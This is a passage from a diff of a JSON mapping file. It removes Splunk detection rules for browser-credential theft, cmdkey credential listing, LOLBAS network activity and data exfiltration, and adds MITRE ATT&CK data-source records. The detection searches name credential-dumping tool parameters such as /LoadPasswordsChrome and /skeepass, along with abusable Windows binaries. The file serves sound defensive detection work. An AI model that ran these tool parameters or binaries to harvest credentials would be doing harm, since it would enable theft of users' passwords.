"type": "activity", + "description": "A file was opened or accessed.", + "source_data_element": "user", "relationship": "requested access to", - "target_data_element": "process", + "target_data_element": "file", "references": [ - "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" + "https://docs.microsoft.com/en-us/windows/win32/fileio/file-management", + "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", + "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] }, { - "name": "Non Chrome Process Accessing Chrome Default Dir", - "description": "The following analytic detects a non-Chrome process accessing files in the Chrome user default folder. It leverages Windows Security Event logs, specifically event code 4663, to identify unauthorized access attempts. This activity is significant because the Chrome default folder contains sensitive user data such as login credentials, browsing history, and cookies. If confirmed malicious, this behavior could indicate an attempt to exfiltrate sensitive information, often associated with RATs, trojans, and advanced persistent threats like FIN7. Such access could lead to data theft and further compromise of the affected system.", - "search": "`wineventlog_security` EventCode=4663 NOT (ProcessName IN (\"*\\\\chrome.exe\", \"*\\\\explorer.exe\", \"*sql*\")) ObjectName=\"*\\\\Google\\\\Chrome\\\\User Data\\\\Default*\" | stats count min(_time) as firstTime max(_time) as lastTime by ObjectName ObjectType ProcessName AccessMask EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `non_chrome_process_accessing_chrome_default_dir_filter`", - "tags": { - "analytic_story": [ - "3CX Supply Chain Attack", - "AgentTesla", - "CISA AA23-347A", - "DarkGate Malware", - "FIN7", - "NjRAT", - "Phemedrone Stealer", - "RedLine Stealer", - "Remcos", - "Snake Keylogger", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a non chrome browser process $ProcessName$ accessing $ObjectName$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1555", - "mitre_attack_technique": "Credentials from Password Stores", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "APT39", - "Evilnum", - "FIN6", - "HEXANE", - "Leafminer", - "Malteiro", - "MuddyWater", - "OilRig", - "Stealth Falcon", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1555.003", - "mitre_attack_technique": "Credentials from Web Browsers", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT3", - "APT33", - "APT37", - "APT41", - "Ajax Security Team", - "FIN6", - "HEXANE", - "Inception", - "Kimsuky", - "LAPSUS$", - "Leafminer", - "Malteiro", - "Molerats", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Stealth Falcon", - "TA505", - "ZIRCONIUM" - ] - } - ] - } + "technique_id": "T1555", + "technique": "Credentials from Password Stores", + "tactic": [ + "credential-access" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "file", + "definition": "Information about file objects (All file systems) that represent computer resources that can be managed by the I/O system. This data source can be used as a reference to extend the concepts of other data sources such as driver, module, and network share.", + "collection_layers": [ + "host" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "file access", + "type": "activity", + "description": "A file was opened or accessed.", + "source_data_element": "process", + "relationship": "requested access to", + "target_data_element": "file", + "references": [ + "https://docs.microsoft.com/en-us/windows/win32/fileio/file-management", + "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", + "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" + ] }, { - "name": "Non Firefox Process Access Firefox Profile Dir", - "description": "The following analytic detects non-Firefox processes accessing the Firefox profile directory, which contains sensitive user data such as login credentials, browsing history, and cookies. It leverages Windows Security Event logs, specifically event code 4663, to monitor access attempts. This activity is significant because it may indicate attempts by malware, such as RATs or trojans, to harvest user information. If confirmed malicious, this behavior could lead to data exfiltration, unauthorized access to user accounts, and further compromise of the affected system.", - "search": "`wineventlog_security` EventCode=4663 NOT (ProcessName IN (\"*\\\\firefox.exe\", \"*\\\\explorer.exe\", \"*sql*\")) ObjectName=\"*\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles*\" | stats count min(_time) as firstTime max(_time) as lastTime by ObjectName ObjectType ProcessName AccessMask EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `non_firefox_process_access_firefox_profile_dir_filter`", - "tags": { - "analytic_story": [ - "3CX Supply Chain Attack", - "AgentTesla", - "Azorult", - "CISA AA23-347A", - "DarkGate Malware", - "FIN7", - "NjRAT", - "Phemedrone Stealer", - "RedLine Stealer", - "Remcos", - "Snake Keylogger", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a non firefox browser process $ProcessName$ accessing $ObjectName$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1555", - "mitre_attack_technique": "Credentials from Password Stores", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "APT39", - "Evilnum", - "FIN6", - "HEXANE", - "Leafminer", - "Malteiro", - "MuddyWater", - "OilRig", - "Stealth Falcon", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1555.003", - "mitre_attack_technique": "Credentials from Web Browsers", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT3", - "APT33", - "APT37", - "APT41", - "Ajax Security Team", - "FIN6", - "HEXANE", - "Inception", - "Kimsuky", - "LAPSUS$", - "Leafminer", - "Malteiro", - "Molerats", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Stealth Falcon", - "TA505", - "ZIRCONIUM" - ] - } - ] - } + "technique_id": "T1555", + "technique": "Credentials from Password Stores", + "tactic": [ + "credential-access" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "command", + "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", + "collection_layers": [ + "host", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network", + "Containers" + ], + "contributors": [ + "Austin Clark", + "ATT&CK", + "CTID" + ], + "data_component": "command execution", + "type": "activity", + "description": "Information about commands executed through a command-line interface and/or script interpreter.", + "source_data_element": "user", + "relationship": "executed", + "target_data_element": "command", + "references": [ + "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", + "https://tools.ietf.org/html/rfc2866" + ] }, { - "name": "Possible Browser Pass View Parameter", - "description": "The following analytic identifies processes with command-line parameters associated with web browser credential dumping tools, specifically targeting behaviors used by Remcos RAT malware. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and specific file paths. This activity is significant as it indicates potential credential theft, a common tactic in broader cyber-espionage campaigns. If confirmed malicious, attackers could gain unauthorized access to sensitive web credentials, leading to further system compromise and data breaches.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*/stext *\", \"*/shtml *\", \"*/LoadPasswordsIE*\", \"*/LoadPasswordsFirefox*\", \"*/LoadPasswordsChrome*\", \"*/LoadPasswordsOpera*\", \"*/LoadPasswordsSafari*\" , \"*/UseOperaPasswordFile*\", \"*/OperaPasswordFile*\",\"*/stab*\", \"*/scomma*\", \"*/stabular*\", \"*/shtml*\", \"*/sverhtml*\", \"*/sxml*\", \"*/skeepass*\" ) AND Processes.process IN (\"*\\\\temp\\\\*\", \"*\\\\users\\\\public\\\\*\", \"*\\\\programdata\\\\*\") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `possible_browser_pass_view_parameter_filter`", - "tags": { - "analytic_story": [ - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "suspicious process $process_name$ contains commandline $process$ on $dest$", - "risk_score": 16, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1555.003", - "mitre_attack_technique": "Credentials from Web Browsers", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT3", - "APT33", - "APT37", - "APT41", - "Ajax Security Team", - "FIN6", - "HEXANE", - "Inception", - "Kimsuky", - "LAPSUS$", - "Leafminer", - "Malteiro", - "Molerats", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Stealth Falcon", - "TA505", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1555", - "mitre_attack_technique": "Credentials from Password Stores", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "APT39", - "Evilnum", - "FIN6", - "HEXANE", - "Leafminer", - "Malteiro", - "MuddyWater", - "OilRig", - "Stealth Falcon", - "Volt Typhoon" - ] - } - ] - } + "technique_id": "T1555", + "technique": "Credentials from Password Stores", + "tactic": [ + "credential-access" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "command", + "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", + "collection_layers": [ + "host", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network", + "Containers" + ], + "contributors": [ + "Austin Clark", + "ATT&CK", + "CTID" + ], + "data_component": "command execution", + "type": "activity", + "description": "Information about commands executed through a command-line interface and/or script interpreter.", + "source_data_element": "process", + "relationship": "executed", + "target_data_element": "command", + "references": [ + "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", + "https://tools.ietf.org/html/rfc2866" + ] }, { - "name": "Windows Credentials from Password Stores Creation", - "description": "The following analytic detects the execution of the Windows OS tool cmdkey.exe, which is used to create stored usernames, passwords, or credentials. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant because cmdkey.exe is often abused by post-exploitation tools and malware, such as Darkgate, to gain unauthorized access. If confirmed malicious, this behavior could allow attackers to escalate privileges and maintain persistence on the targeted host, facilitating further attacks and potential data breaches.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"cmdkey.exe\" OR Processes.original_file_name = \"cmdkey.exe\" AND Processes.process = \"*/generic*\" Processes.process IN (\"*/user*\", \"*/password*\") by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_credentials_from_password_stores_creation_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process $process_name$ was executed in $dest$ to create stored credentials", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1555", - "mitre_attack_technique": "Credentials from Password Stores", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "APT39", - "Evilnum", - "FIN6", - "HEXANE", - "Leafminer", - "Malteiro", - "MuddyWater", - "OilRig", - "Stealth Falcon", - "Volt Typhoon" - ] - } - ] - } + "technique_id": "T1555", + "technique": "Credentials from Password Stores", + "tactic": [ + "credential-access" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "process", + "definition": "Information about instances of computer programs that are being executed by at least one thread.", + "collection_layers": [ + "host" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "os api execution", + "type": "activity", + "description": "A process executed operating system api functions.", + "source_data_element": "process", + "relationship": "executed", + "target_data_element": "api call", + "references": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" + ] }, { - "name": "Windows Credentials from Password Stores Deletion", - "description": "The following analytic detects the execution of the Windows OS tool cmdkey.exe with the /delete parameter. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. The activity is significant because cmdkey.exe can be used by attackers to delete stored credentials, potentially leading to privilege escalation and persistence. If confirmed malicious, this behavior could allow attackers to remove stored user credentials, hindering incident response efforts and enabling further unauthorized access to the compromised system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"cmdkey.exe\" OR Processes.original_file_name = \"cmdkey.exe\" AND Processes.process = \"*/delete*\" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_credentials_from_password_stores_deletion_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process $process_name$ was executed in $dest$ to delete stored credentials", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1555", - "mitre_attack_technique": "Credentials from Password Stores", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "APT39", - "Evilnum", - "FIN6", - "HEXANE", - "Leafminer", - "Malteiro", - "MuddyWater", - "OilRig", - "Stealth Falcon", - "Volt Typhoon" - ] - } - ] - } + "technique_id": "T1555", + "technique": "Credentials from Password Stores", + "tactic": [ + "credential-access" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "process", + "definition": "Information about instances of computer programs that are being executed by at least one thread.", + "collection_layers": [ + "host" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "os api execution", + "type": "activity", + "description": "A process executed operating system api functions.", + "source_data_element": "process", + "relationship": "executed", + "target_data_element": "system call", + "references": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" + ] }, { - "name": "Windows Credentials from Password Stores Query", - "description": "The following analytic detects the execution of the Windows OS tool cmdkey.exe, which is often abused by post-exploitation tools like winpeas, commonly used in ransomware attacks to list stored usernames, passwords, or credentials. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This activity is significant as it indicates potential credential harvesting, which can lead to privilege escalation and persistence. If confirmed malicious, attackers could gain unauthorized access to sensitive information and maintain control over compromised systems for further exploitation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"cmdkey.exe\" OR Processes.original_file_name = \"cmdkey.exe\" AND Processes.process = \"*/list*\" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_credentials_from_password_stores_query_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware", - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process $process_name$ was executed in $dest$ to display stored username and credentials.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1555", - "mitre_attack_technique": "Credentials from Password Stores", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "APT39", - "Evilnum", - "FIN6", - "HEXANE", - "Leafminer", - "Malteiro", - "MuddyWater", - "OilRig", - "Stealth Falcon", - "Volt Typhoon" - ] - } - ] - } + "technique_id": "T1555", + "technique": "Credentials from Password Stores", + "tactic": [ + "credential-access" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "process", + "definition": "Information about instances of computer programs that are being executed by at least one thread.", + "collection_layers": [ + "host" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "process access", + "type": "activity", + "description": "A process was accessed.", + "source_data_element": "process", + "relationship": "accessed", + "target_data_element": "process", + "references": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" + ] + }, + { + "technique_id": "T1555", + "technique": "Credentials from Password Stores", + "tactic": [ + "credential-access" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "process", + "definition": "Information about instances of computer programs that are being executed by at least one thread.", + "collection_layers": [ + "host" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "process access", + "type": "activity", + "description": "A process was accessed.", + "source_data_element": "process", + "relationship": "requested access to", + "target_data_element": "process", + "references": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" + ] } ], "external_reference": [ @@ -270473,47 +193021,7 @@ "data_component": "command execution", "type": "activity", "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "user", - "relationship": "executed", - "target_data_element": "command", - "references": [ - "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", - "https://tools.ietf.org/html/rfc2866" - ] - }, - { - "technique_id": "T1567", - "technique": "Exfiltration Over Web Service", - "tactic": [ - "exfiltration" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "command", - "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", - "collection_layers": [ - "host", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network", - "Containers" - ], - "contributors": [ - "Austin Clark", - "ATT&CK", - "CTID" - ], - "data_component": "command execution", - "type": "activity", - "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "process", + "source_data_element": "user", "relationship": "executed", "target_data_element": "command", "references": [ @@ -270522,334 +193030,44 @@ ] }, { - "name": "Splunk Data exfiltration from Analytics Workspace using sid query", - "description": "The following analytic identifies attempts to exfiltrate data by executing a prepositioned malicious search ID in Splunk's Analytic Workspace. It leverages the `audit_searches` data source to detect suspicious `mstats` commands indicative of injection attempts. This activity is significant as it may indicate a phishing-based attack where an attacker compels a victim to initiate a malicious request, potentially leading to unauthorized data access. If confirmed malicious, this could result in significant data exfiltration, compromising sensitive information and impacting the organization's security posture.", - "search": "`audit_searches` info=granted search NOT (\"audit_searches\") search NOT (\"security_content_summariesonly\") AND ((search=\"*mstats*[*]*\" AND provenance=\"N/A\") OR (search=\"*mstats*\\\\\\\"*[*]*\\\\\\\"*\"))| eval warning=if(match(search,\"\\\\\\\\\\\"\"), \"POTENTIAL INJECTION STAGING\", \"POTENTIAL INJECTION EXECUTION\") | table search, user, warning, timestamp | `splunk_data_exfiltration_from_analytics_workspace_using_sid_query_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential data exfiltration attack using SID query by $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1567", - "mitre_attack_technique": "Exfiltration Over Web Service", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT28", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Gsuite Drive Share In External Email", - "description": "The following analytic detects Google Drive or Google Docs files shared externally from an internal domain. It leverages GSuite Drive logs, extracting and comparing the source and destination email domains to identify external sharing. This activity is significant as it may indicate potential data exfiltration by an attacker or insider. If confirmed malicious, this could lead to unauthorized access to sensitive information, data leakage, and potential compliance violations. Monitoring this behavior helps in early detection and mitigation of data breaches.", - "search": "`gsuite_drive` NOT (email IN(\"\", \"null\")) | rex field=parameters.owner \"[^@]+@(?[^@]+)\" | rex field=email \"[^@]+@(?[^@]+)\" | where src_domain = \"internal_test_email.com\" and not dest_domain = \"internal_test_email.com\" | eval phase=\"plan\" | eval severity=\"low\" | stats values(parameters.doc_title) as doc_title, values(parameters.doc_type) as doc_types, values(email) as dst_email_list, values(parameters.visibility) as visibility, values(parameters.doc_id) as doc_id, count min(_time) as firstTime max(_time) as lastTime by parameters.owner ip_address phase severity | rename parameters.owner as user ip_address as src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `gsuite_drive_share_in_external_email_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops", - "Insider Threat" - ], - "asset_type": "GSuite", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "parameters.owner", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "email", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "suspicious share gdrive from $parameters.owner$ to $email$ namely as $parameters.doc_title$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1567.002", - "mitre_attack_technique": "Exfiltration to Cloud Storage", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Cinnamon Tempest", - "Confucius", - "Earth Lusca", - "FIN7", - "HAFNIUM", - "HEXANE", - "Kimsuky", - "Leviathan", - "LuminousMoth", - "POLONIUM", - "Scattered Spider", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1567", - "mitre_attack_technique": "Exfiltration Over Web Service", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT28", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "LOLBAS With Network Traffic", - "description": "The following analytic identifies the use of Living Off the Land Binaries and Scripts (LOLBAS) with network traffic. It leverages data from the Network Traffic data model to detect when native Windows binaries, often abused by adversaries, initiate network connections. This activity is significant as LOLBAS are frequently used to download malicious payloads, enabling lateral movement, command-and-control, or data exfiltration. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a severe threat to organizational security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic.All_Traffic where (All_Traffic.app IN (\"*Regsvcs.exe\", \"*\\\\Ftp.exe\", \"*OfflineScannerShell.exe\", \"*Rasautou.exe\", \"*Schtasks.exe\", \"*Xwizard.exe\", \"*Pnputil.exe\", \"*Atbroker.exe\", \"*Pcwrun.exe\", \"*Ttdinject.exe\", \"*Mshta.exe\", \"*Bitsadmin.exe\", \"*Certoc.exe\", \"*Ieexec.exe\", \"*Microsoft.Workflow.Compiler.exe\", \"*Runscripthelper.exe\", \"*Forfiles.exe\", \"*Msbuild.exe\", \"*Register-cimprovider.exe\", \"*Tttracer.exe\", \"*Ie4uinit.exe\", \"*Bash.exe\", \"*Hh.exe\", \"*SettingSyncHost.exe\", \"*Cmstp.exe\", \"*Stordiag.exe\", \"*Scriptrunner.exe\", \"*Odbcconf.exe\", \"*Extexport.exe\", \"*Msdt.exe\", \"*WorkFolders.exe\", \"*Diskshadow.exe\", \"*Mavinject.exe\", \"*Regasm.exe\", \"*Gpscript.exe\", \"*Regsvr32.exe\", \"*Msiexec.exe\", \"*Wuauclt.exe\", \"*Presentationhost.exe\", \"*Wmic.exe\", \"*Runonce.exe\", \"*Syncappvpublishingserver.exe\", \"*Verclsid.exe\", \"*Infdefaultinstall.exe\", \"*Installutil.exe\", \"*Netsh.exe\", \"*Wab.exe\", \"*Dnscmd.exe\", \"*\\\\At.exe\", \"*Pcalua.exe\", \"*Msconfig.exe\", \"*makecab.exe\", \"*cscript.exe\", \"*notepad.exe\", \"*\\\\cmd.exe\", \"*certutil.exe\", \"*\\\\powershell.exe\", \"*powershell_ise.exe\")) by All_Traffic.app,All_Traffic.src,All_Traffic.src_ip,All_Traffic.user,All_Traffic.dest,All_Traffic.dest_ip | `drop_dm_object_name(All_Traffic)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rex field=app \".*\\\\\\(?.*)$\" | rename app as process | `lolbas_with_network_traffic_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Command and Control", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Attacker" - ] - } - ], - "message": "The LOLBAS $process_name$ on device $src$ was seen communicating with $dest$.", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1567", - "mitre_attack_technique": "Exfiltration Over Web Service", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT28", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "High Volume of Bytes Out to Url", - "description": "The following analytic detects a high volume of outbound web traffic, specifically over 1GB of data sent to a URL within a 2-minute window. It leverages the Web data model to identify significant uploads by analyzing the sum of bytes out. This activity is significant as it may indicate potential data exfiltration by malware or malicious insiders. If confirmed as malicious, this behavior could lead to unauthorized data transfer, resulting in data breaches and loss of sensitive information. Immediate investigation is required to determine the legitimacy of the transfer and mitigate any potential threats.", - "search": "| tstats `security_content_summariesonly` count sum(Web.bytes_out) as sum_bytes_out values(Web.user) as user values(Web.app) as app values(Web.dest) as dest from datamodel=Web by _time span=2m Web.url Web.src sourcetype | search sum_bytes_out > 1070000000 | `drop_dm_object_name(\"Web\")`| `high_volume_of_bytes_out_to_url_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A high volume of bytes out to a URL $url$ was detected from src $src$ to dest $dest$.", - "risk_score": 9, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1567", - "mitre_attack_technique": "Exfiltration Over Web Service", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT28", - "Magic Hound" - ] - } - ] - } + "technique_id": "T1567", + "technique": "Exfiltration Over Web Service", + 